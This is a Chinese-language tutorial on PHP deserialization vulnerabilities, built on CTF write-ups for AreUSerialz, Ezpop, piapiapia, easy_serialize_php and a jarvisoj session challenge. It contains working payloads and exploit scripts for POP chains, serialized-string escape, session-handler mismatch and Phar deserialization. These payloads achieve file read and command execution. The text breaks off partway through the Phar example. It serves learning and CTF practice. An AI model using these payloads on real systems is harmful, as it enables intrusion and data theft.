序列化&反序列化
- 因為資料存盤的需要于是有了序列化和反序列化函式,類似還有
json_encode,json_decode.PHP反序列化的方式很多,漏洞也很多,知識點也很多,于是我想結合CTF來學習PHP的反序列化漏洞,再深入到實戰,
| 函式名 | 作用 |
|---|---|
| Serialize | 可以將陣列或物件轉換成字串進行存盤(有時候WAF改變了所存的儲資料,則可能產生漏洞) |
| Unserialize | 將序列化的字串轉換為PHP值(我們如果能控制反序列化時傳輸的資料,則可能產生漏洞) |
<?php
class basic{
public $age = 18;
private $name = 'pan3a';
protected $gender = 'man';
var $data = https://www.cnblogs.com/Pan3a/p/array('one','two');
}
$object = new basic();
$ser = serialize($object);
var_dump($ser);
print_r(unserialize($ser));
- 輸出展示,類方法并沒有參與序列化這里的
\000代表一個字符即chr(0)所展示的字符,由于不可見,經常使用URL編碼來展示, private---%00類名%00成員名protected---%00*%00成員名- 在
PHP7.1后,對成員屬性不敏感則可繞過對字符屬性檢測,同時也可以用大寫S,后面字符可用十六進制表示來繞過,可參考網鼎杯2020青龍組AreUSerialz.
string(133) "O:5:"basic":4:{s:3:"age";i:18;s:11:"\000basic\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";s:4:"data";a:2:{i:0;s:3:"one";i:1;s:3:"two";}}"
basic Object
(
[age] => 18
[name:basic:private] => pan3a
[gender:protected] => man
[data] => Array
(
[0] => one
[1] => two
)
)
- 這里反序列化的資料型別都是字符型別的縮寫
| a - array | b - boolean | d - double | i - integer | o - common object | r - reference |
|---|---|---|---|---|---|
| s - string | C - custom object | O - class | N - null | R - pointer reference | U - unicode string |
PHP魔術方法
- 具體案例可參考---十六個魔術方法詳解,
- 也可參考PHP手冊---PHP Magic Method
| 函式名 | 作用 |
|---|---|
| __construct | 類的建構式,在類初始化時自動呼叫(類似于Python的_init_(self)) |
| __destruct | 類的解構式,PHP5參考,在類作用域結束時使用(通常用于反序列化利用鏈開始) |
| __sleep | 執行serialize()函式之前執行該函式 |
| __wakeup | 執行unserialize()函式之前執行該函式(通常用于反序列化之前的初始化,CVE-2016-7124可以Bypass此魔術方法)(PHP5-PHP5.6.25 AND PHP7-PHP7.0.10) |
| __tostring | 類被當做字串時自動呼叫(比如輸出陳述句,字串拼接,字符比較等等) |
| __invoke | 把類當做一個函式使用時呼叫 |
| __get | 訪問不存在屬性,或不可訪問屬性比如protected |
<?php
class people{
public $age;
private $name = 'forever404';
protected $gender;
public function __construct($age, $name, $gender){
$this->age = $age;
$this->name = $name;
$this->gender = $gender;
echo '__construct自動呼叫啦!';
echo 'My name is '.$name.',I am '.$age.' Years old,'.'I am a '.$gender.'!'.PHP_EOL;
}
public function __destruct(){
echo '當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!'.PHP_EOL;
}
public function __sleep(){
echo '呼叫serialize()函式啦!'.PHP_EOL;
return array('age','name','gender');
// 必須回傳父類中序列化元素屬性,否則NULL被序列化會報錯
}
public function __wakeup(){
echo '呼叫unserialize()函式啦!'.PHP_EOL;
$this->age = 100;
$this->name = 'Panda';
}
public function __toString(){
return '物件被當做字串處理了!'.PHP_EOL;
}
}
$O = new people($age='18',$name='pan3a', $gender='man');
$ser = serialize($O);
var_dump($ser);
print_r(unserialize($ser));
echo '這是我的第一個類---'.$O;
?>
- 輸出展示,會發現
name,gender這兩個序列化后的資料不一樣,因為他們的屬性分別是private,protected,這里還有就是__destruct這個魔術方法被呼叫了兩次,因為有實體化結束呼叫一次,反序列化結束呼叫了一次,
__construct自動呼叫啦!My name is pan3a,I am 18 Years old,I am a man!
呼叫serialize()函式啦!
/var/www/html/MagicMethod/Deserialize.php:40:
string(94) "O:6:"people":3:{s:3:"age";s:2:"18";s:12:"\000people\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";}"
呼叫unserialize()函式啦!
people Object
(
[age] => 100
[name:people:private] => Panda
[gender:protected] => man
)
當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!
這是我的第一個類---物件被當做字串處理了!
當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!
Bypass __Wakeup
- 這里就要用到上面提到的
CVE-2016-7124---反序列化中物件的個數大于真實個數及會繞過! - 適用范圍---PHP5-PHP5.6.25 AND PHP7-PHP7.0.10,
- PHP Online Exec.
<?php
class shell
{
public $command = 'whoami';
public function __wakeup(){
$this->command = NULL;
}
public function __destruct(){
if(isset($this->command)) {
system($this->command);
}else{
echo 'var command is null'.PHP_EOL;
}
}
}
$MyShell = new shell();
$ser = serialize($MyShell);
var_dump($ser);
// $ser = 'O:5:"shell":1:{s:7:"command";s:6:"whoami";}'
//$payload = 'O:5:"shell":2:{s:7:"command";s:3:"pwd";}';
$data = https://www.cnblogs.com/Pan3a/p/empty($_GET('payload'))?serialize($ser):$_GET('payload');
$obj = unserialize($data);
- 運行結果展示,這里物件回收流程是先創建的后回收,類似與堆疊機制先進后出,
- 代碼分析這個
shell類首先看見的就是__wakeup方法,將變數command賦值為空,然后就是__destruct方法,如果變數command不為空則執行該命令,然后我們可控點只有變數data,但是反序列化資料時,又要先呼叫__wakeup方法,因此我們如果想要執行命令則必須繞過這個方法,Google到這個方法可以通過CVE-2016-7124來繞過,只需增大序列化的資料即可,因此使用上面的payload即可,
string(43) "O:5:"shell":1:{s:7:"command";s:6:"whoami";}"
/
root
PHP Notice: unserialize(): Unexpected end of serialized data in /usercode/file.php on line 24
PHP Notice: unserialize(): Error at offset 39 of 40 bytes in /usercode/file.php on line 24
PHP鏈構造
網鼎杯2020青龍組AreUSerialz
- 這里可用上面兩種方法來繞過:1---
PHP7.1屬性不敏感,2---大寫S字符用十六進制, - BUUCTF 網鼎杯2020青龍組AreUSerialz.
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 一上來就直接給的原始碼,首先看程式入口第74行,需要我們
GET['str']然后再對我們所提交的資料進行反序列化,但是這里又有一個is_valid()函式對我們的輸入進行了限制,大致就是遍歷你的輸入,對應字符的ASCII碼必須再32-125意思就是可見字符,還不曉得為啥要這么寫,再去看看FileHander類,發現定義的變數屬性都是protected,這種屬性反序列化又會是%00*%00變數名,則會出現不可見字符,再聯系那個is_valid()函式清楚了,然后下其他函式process(),write(),read(),output(),功能就是函式名,分別是程式執行程序,檔案寫入,檔案讀取,輸出,其中OP變數控制程式是讀(2)還是寫(1),最后一個__destruct(),那么就是我們的漏洞點了, - 分析完函式功能,就來看利用鏈,首先控制類變數繞過
is_vaild(),然后然后到__destruct(),再進入程式控制process(),我們需要讀檔案則判斷變數OP=='2',進入read()函式,控制變數filename則造成任意檔案讀取, - 于是用到上面的PHP特性知識點,
Google插件wappalyzer看到網站是PHP7.4.3搭建的,變數OP==2發現__destruct()用的強等(變數型別和字符都必須相等),但是后面用的弱等,那么則可繞過, - 發現直接檔案名設為
/flag.php不得行,頁面報錯了,那么添上絕對路徑OK,flag在原始碼里面,
<?php
class FileHandler{
public $op =2;
public $filename="/var/www/html/flag.php";
}
var_dump(serialize(new FileHandler));
//O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";}
?>
<?php
class FileHandler{
protected $op =2;
protected $filename="/var/www/html/flag.php";
}
$exp = (serialize(new FileHandler));
$exp = str_replace('s','S', $exp);
$exp = str_replace(chr('0'),'\00',$exp);
print_r(urlencode($exp));
//O%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D
?>
MRCTF 2020 Ezpop
- BUUCTF MRCTF 2020 Epop.總的來說就是構造利用鏈吧,看自己喜歡怎么尋找,一種是危險函式回溯方式,一種是根據可控引數尋找,
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 總體來說就只有三個類,應該不算難,定位到危險函式
Modifier類的append方法可以包含一個檔案,可控引數value的話,那么造成任意檔案包含,若要呼叫append方法必須呼叫魔術方法__invoke.而invoke方法又必須是把Modifier方法當做函式使用時才呼叫, - 發現
Test類中呼叫了function方法,而function方法又來自Test類中的p變數可控,可任意呼叫方法,但必須呼叫__get魔術方法才能任意呼叫方法,而__get魔術方法有必須是訪問一個不存在的屬性,或私有受保護的變數, - 發現
Show類中的__toString方法若str為Test類,那么則可呼叫__get方法,但__toString方法必須是將類當做字符處理才能觸發, - 反序列化執行之前,會先執行
__wakeup方法,假如Show類中的source是一個類,這里的正則匹配則把這個類當成了字符處理,那么又會看這個類是否有__toString方法,有則自動呼叫,我們這里就自己呼叫自己,那么就會觸發該__toString方法,
Show->wakeup---Show->toSring---Test->get---Modifier->invoke---Modifier->append
<?php
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->source = new Show();
print_r(urlencode(serialize($a)));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
PHP反序列化字串逃逸
借用哈大佬們名言
- 任何具有一定結構的資料,如果經過了某些處理而把結構體本身的結構給打亂了,則有可能會產生漏洞,(記不得出處了)
0CTF 2016piapiapia
- 反序列化后長度遞增
- 打開一個登錄框,簡單測了一下SQL注入,感覺不存在,于似乎掃了哈目錄,發現存在原始碼泄露(www.zip),
class.php 主要有Mysql(資料庫的增刪查改+WAF),user(繼承Mysql,函式實作一定的功能)
config.php 組態檔,資料庫的連接和flag
index.php 登錄
profile.php 展示登錄的個人資訊和上傳的圖片
register.php 注冊用戶
update.php 檔案上傳
- 由于如果代碼全部貼出來文章顯得很長了,就展示主要代碼吧,由于代碼過濾了增刪查改幾乎無法造成注入,那么就無法從注冊登錄這個點下手,發現
profile.php那里有個檔案讀取函式,如果引數可能那么可能造成任意檔案讀取咯,
// profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
- 回溯引數
$profile['photo']來源,是反序列化$profile出來的,既然有反序列化,那么肯定有序列化.全域搜索serialize,定位到update.php檔案,
<?php
// update.php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
// 中間洗掉了一些不必要的代碼
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="https://www.cnblogs.com/Pan3a/p/profile.php">Your Profile</a>';
}
else {
?>
- 這里發現
$profile['photo']由一個路徑+MD5檔案拼接而成,只能控制$file['name']但是有被加密了,從而無法利用,再繼續往下看,發現將序列化的檔案進行了上傳,跟進函式update_profile到class.php
<?php
// class.php
class user extends mysql{
// 以上還有資料庫的基本操作,但后面無影響,因此不貼出來了
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
}
class mysql{
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
}
?>
- 然后看到
user類的update_profile方法其中的new_profile引數則是serialize($profile),這里的兩個引數都進過mysql類中的filter方法進行過濾,注意這里的new_profile引數值是一個序列化后的資料,經過filter方法后可能改變資料結構.我們需要的則是讓$profile['photo']=config.php那么就可得到flag,但是按照正常程式會如以下執行,
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'panda';
$profile['photo'] = 'upload/'.md5($file['name']);
$new_profile = filter(serialize($profile));
print_r($new_profile);
// a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";s:5:"panda";s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
- 這里我們看到字符經過
filter方法并沒有發生改變,這是正常輸入的時候,如果不正常的話的那么將select,insert,update,delete,where這些字符替換為hacker,細心點就會發現where替換后變成hacker字符長度會增加一, - PHP反序列化時以
;作為分隔點,}做為結束標志,根據長度來判斷讀取多少字符,我們無法控制$profile['photo']但是可以控制nickname,如果在這里截斷(不在讀取后面的內容)我們則可以構造后面的引數值,而nickname又進行了長度限制,strlen函式卻無法處理陣列,因此用陣列進行繞過即可我們在這里截斷,那么后面的則會被廢棄不再讀取,從而達到$profile['photo']引數可控,就類似于,下面用的是陣列因此niackname后面為陣列標示,
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";a:1:{i:0;s:5:"panda";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
- 我們則要構造如上的形式,就利用上面的
where轉換后字符長度加一的特性來構造我們的payload,計算下面的payload長度,因此需要34個長度的溢位,則需要34個where來構造因此拼接如下則是
";}s:5:"photo";s:10:"config.php";}
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 剛好反序列化后
$profile['photo']=config.php.
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '[email protected]';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/'.md5($file['name']);
$new_profile = filter(serialize($profile));
print_r($new_profile);
echo PHP_EOL;
print_r(unserialize($new_profile));
/*
輸出展示
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
Array
(
[phone] => 01234567890
[email] => [email protected]
[nickname] => Array
(
[0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
)
[photo] => config.php
)
*/
- 這個就像你有一條
204米長的繩子,還有一把204米的尺子,這樣剛好可以量完長度,但是你的繩子突然長長了,那么一次肯定就不夠量了,剩下的只有下次再量,反序列化也是如此,他只根據他的長度來讀取內容,剩下的他就不管了,用作下一次讀取,
安詢杯2019-easy_serialize_php
- 反序列化后長度遞減
- 一上來就給原始碼了,看了一下phpinfo發現自動包含了
d0g3_f1ag.php檔案,
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="https://www.cnblogs.com/Pan3a/p/index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
- 原始碼不多,首先來個
filter過濾函式,后面給Session賦值,extract則可能變數覆寫,又有file_get_contents()引數可控的話又會出現任意檔案讀取, - 老方法,看了哈檔案讀取的
$_SESSION['img']引數不可控,$_SESSION['user']和$_SESSION['function']我們可以通過變數覆寫來控制,倘若按照平常來看的話,最后檔案讀取出來極大可能是亂碼,因此現將檔案讀取路徑base64加密再sha1加密,那么直接base64是解不出正常檔案的,
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'panda';
$sess['function'] = 'show_image';
$sess['img'] = sha1(base64_encode($file));
$ser_info = filter(serialize($sess));
print_r($ser_info);
// a:3:{s:4:"user";s:5:"panda";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- 上面并沒有觸發過濾函式,如果觸發了過濾函式,那么關鍵字則會被替換為空,假如我們的
user的值或者function值中有黑名單中的函式,那么這可能不會成功的反序列化,因為序列化后的結構可能會被打亂,假如$_SESSION['user']='phpflag'那么序列化后則是
a:3:{s:4:"user";s:7:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- 可以明顯的看出
user值為空了,但是長度依然不變,則在反序列化時會向后繼續讀取資料,我們可以構造資料吞并function,而且function的值可控,用來構造惡意資料(自己構造img的值,并在最后截斷資料),那么img則為可控資料了,我們需要構造的資料為,后面的資料為d0g3_f1ag.php的base64加密,因為后面要對其進行解密再讀取檔案,
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
- 由于陣列的元素為三個,因此序列化里面的內容也要有三個,隨意構造一個資料即可,這里是
$_SESSION['name']='panda'.
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- 差不多都改造完了,最后整合,
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'flagflagflagflagflagflag';
$sess['function'] = '1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$sess['img'] = sha1(base64_encode($file));
$ser_info = filter(serialize($sess));
print_r($ser_info);
print_r(unserialize($ser_info));
/*
輸出展示,后面讀檔案以此類推即可,
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
Array
(
[user] => ";s:8:"function";s:65:"1
[name] => panda
[img] => ZDBnM19mMWFnLnBocA==
)
*/
Session反序列化
Session?這也是一個超全域變數$_Session,主要作用為追蹤用戶,判斷請求是否來自同一個用戶,比如有一個登錄框,用戶輸入正確賬號和密碼后,可以訪問更多的功能,但是你怎么知道用戶是登錄或者沒登錄呢?那么就需要Session或者Cookie來判斷了,登錄成功后可在HTTP Headers的Cookie中設定特殊值---Session來區分登錄用戶和未登錄用戶,Session和Cookie的主要區別則是Session值存盤與服務器段因此更安全,Cookie值存盤與客戶端,PHP中的Session存盤有三種處理器,分別對應三種格式,這三種格式分別使用目前沒有問題,但是混合使用則會造成漏洞,
| 處理器 | 存盤格式 |
|---|---|
php |
鍵名+豎線(|)+經過serialize序列化后的資料(默認使用該處理器) |
php_serialize |
經過serialize序列化后的陣列 |
php_binary |
鍵名長度對應的ASCII的字符+serialize序列化后的資料 |
- 分別對應的記錄是
<?php
// php處理器
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['php'] = 'php';
// php|s:3:"php";
<?php
// php_serialize處理器
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['php_serialize'] = 'php_serialize';
// a:1:{s:13:"php_serialize";s:13:"php_serialize";}
<?php
// php_binary處理器
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary'] = 'php_binary';
// 注意這里的輸出有個換行,因此php_binary的長度為10,ASCII碼對應的字符為"\n"因此有換行
// php_binarys:10:"php_binary";
- 這里思考一下,如果用
php_serialzie處理器存盤,再用默認的php處理器讀取,是否會出現漏洞呢?php處理器讀取時會以|作為分隔符,前面作為鍵名,后面作為鍵值,假如php_serialize處理器存盤的值中用|,再用php處理區去讀取,那會怎樣呢? - 提交
$_SESSION['php_serialize']=|s:5:"panda";再用php處理器處理時,會認為鍵名為a:1:{s:13:"php_serialize";s:13:",鍵值為s:5:"panda";";}然后反序列化出來的值則為panda后面的長度則會被舍棄,
a:1:{s:13:"php_serialize";s:13:"|s:5:"panda";";}
淺析Session反序列化
- PHP session_start()---會創建新會話或者重用現有會話,如果通過GET或者POST方式,或者使用cookie提交會話ID,則會重用現有會話,當會話開始時,PHP會呼叫會話管理器的
open和read回呼函式,通過read函式回傳現有會話資料,PHP會自動反序列化資料并且填充$_SESSION超全域變數, - 注意上面是
GET或者POST請求而不是在PHPSTORM中用PHP腳本執行,這樣的話就不是同一個會話,因此無法利用,
//創建Session CreateSession.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['username'];
var_dump($_SESSION);
// 讀取Session ReadSession.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class vul{
public $command;
public function __wakeup(){
system($this->command);
}
}
// exp Exploit.php
<?php
class vul{
public $command;
public function __construct($com){
$this->command = $com;
}
}
$command = 'pwd';
echo '|'.serialize(new vul($command));
// |O:3:"vul":1:{s:7:"command";s:3:"pwd";}
- 主要有以上三個檔案,首先是執行
exp.php構造攻擊payload,然后再在瀏覽器中打開CreateSession.php提交我們的payload,再在瀏覽器中打開ReadSession.php讀取Session,那么我們的命令就會被執行,
jarvisoj.com
- 上面是
Session可控的情況下,正常情況下當然沒得這種可能,因此有人提出了另一種利用方式, - session.upload_progress.enabled----能夠對再每一個檔案上傳時檢測上傳進度,當一個上傳在處理中,同時POST一個與INI中設定的
session.upload_progress一樣變數名時,上傳進度可以再$_SESSION中獲得, - 綜上所述,就是開啟
session.upload_progress.enabled(PHP5.4后可用且為默認開啟),構造一個檔案上傳,POST一個為session.upload_process的變數,那么服務器就會將POST的的這個變數作為鍵值序列化后存盤再session中,讀取時再反序列化這個session檔案, - jarvisoj----session反序列化,直接給了原始碼,發現
PHPINFO中默認的session存盤器與代碼中的不一樣,因此可能存在漏洞,
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
- 上面的代碼很簡單,如果
$mdzz變數可控,那么則會造成一個webshell,這里因為沒有可控的反序列化點,因此需要用到上面的知識點, - 構造一個檔案上傳點(upload.html),然后再構造利用鏈即可,
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="https://www.cnblogs.com/Pan3a/p/panda"/>
<input type="file" name="file"/>
<input type="submit" />
</form>
<?php
// exp.php
class OowoO{
public $mdzz;
public function __construct($command){
$this->mdzz = $command;
}
}
echo '|'.serialize(new OowoO('print_r(scandir(dirname(__FILE__)));'));
// |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
- 最后訪問構造的
upload.html,burp抓包更改上傳檔案名值為exp.php所輸出的內容即可,記得訪問題目所攜帶的cookie,

Phar反序列化
- 隨著安全意識的提高,直接存在的
unserialize()的引數也幾乎都是不可控了,于是Sam Thomas在BlackHat上提出了新的利用方式,議題PDF. - 主要參考:Seebug seaii zsx 師傅. 看他們文章自己所學的一些復現與理解,
- 議題的主要內容是可以不用再借助反序列化函式構造反序列化利用鏈,通過
php內置的資料流協議-----phar結合一些檔案操作函式(引數可控),
淺析Phar
- 查看官方手冊大概講的就是
phar是一個資料壓縮協議,可以將多個檔案分組成一個檔案,可以通過phar協議直接讀取,就像類似的zip壓縮一樣,這樣的檔案當然有固定的特征,(個人理解) stub,phar檔案的標志,格式為:xxxxxxx<?php xxxxxxxx; __HALT_COMPILER();?>,相當于一段文字只要是__HALT_COMPILER();?>結尾即可,meta-data,用戶可以自定義的資料,主要是用來存盤檔案的權限,屬性等資訊,同時這部分資料是以序列化存盤的,- 最后就是檔案的簽名,來標識資料的結束,
- 以上就是構造一個
phar檔案上傳,然后就是控制檔案操作函式(file_exists(),file_get_contents()等)來觸發反序列化操作,
Demo
- 這里必須要改
php.ini中的phar.readonly = off.假如我們發現有個簡單的漏洞,能上傳檔案,但是把能決議的如php,phtml,php3,htaccess這些都禁止了,那么但靠檔案上傳也許沒辦法了(至少我沒辦法了,哈哈),這里和上面的Session反序列化有點類似,但是考點不一樣,這里無法看Session的存盤器讀取和存盤時是否一致,
<?php
// vul.php
class WebShell{
public $command;
public function __wakeup(){
if(!empty($this->command)) {
eval($this->command);
}
}
}
$filename = $_GET['filename'];
if(!empty($filename)){
file_get_contents($filename);
}
- 這里很明顯考的是反序列化,然后我們可控的只有檔案名,于是只有
Phar反序列化了,構造Phar檔案,下圖是我們生成出的檔案,
<?php
// CreatePhar.php
class WebShell{
public $command;
}
// 洗掉原有的phar
@unlink("phar.phar");
// 實體化一個類 檔案結尾必須是.phar 生成后你可以更改檔案后綴
$phar = new Phar("phar.phar");
// 開始緩沖區輸入
$phar->startBuffering();
// 設定Phar標識檔案,這里也可構造檔案頭繞過上傳
$phar->setStub("GIF89a "."<?php __HALT_COMPILER();?>");
$o = new WebShell();
$o->command = 'phpinfo();';
